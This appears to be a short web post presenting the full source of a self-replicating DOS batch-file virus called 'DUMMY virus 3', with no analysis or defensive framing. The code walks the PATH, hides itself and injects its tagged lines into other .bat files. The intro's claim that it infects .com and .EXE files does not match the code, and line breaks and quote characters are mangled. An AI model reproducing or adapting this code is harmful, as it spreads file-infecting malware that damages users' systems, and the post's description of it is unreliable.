DUMMY virus 3 — Latest 2010

 

It will affect *.com and *.EXE files .It
will multiply itself and may get more
dangerous when altered.
Here is the code -
The code
Here is the code -

********************************************************************


@echo off>nul.ViRuS
if “%1==”/ViRuS_MULTIPLY
goto ViRuS_multiply
if “%1==”/ViRuS_OUTER_LOOP
goto ViRuS_outer_loop
if “%1==”/ViRuS_FINDSELF
goto ViRuS_findself
if “%VOFF%==”T goto
ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat call %0
/ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set
ViRuSname=
if “%ViRuSname%==” goto
ViRuS_OLDBAT

rem ViRuS if batch is started with
name.BAT, virus will not become active
rem ViRuS it was a bug, now it’s a
feature ! (also notice the voff
variable)
rem ViRuS also if batch was only in an
append /x:on path (chance=minimal)

attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0
/ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=
goto ViRuS_OLDBAT

:ViRuS_findself
if “%2==” goto
XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set
ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set
ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself

:ViRuS_outer_loop
for %%a in (%2\*.bat;%2*.bat) do call %0
/ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS:ViRuS_multiply
find “ViRuS”
<%ViRuSname%.bat >xViRuSx.bat
find /v “ViRuS” <%2 |find
/v “:XXX_END”
>>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

:ViRuS_OLDBAT
echo on>nul.ViRuS
echo This is the dummy Virus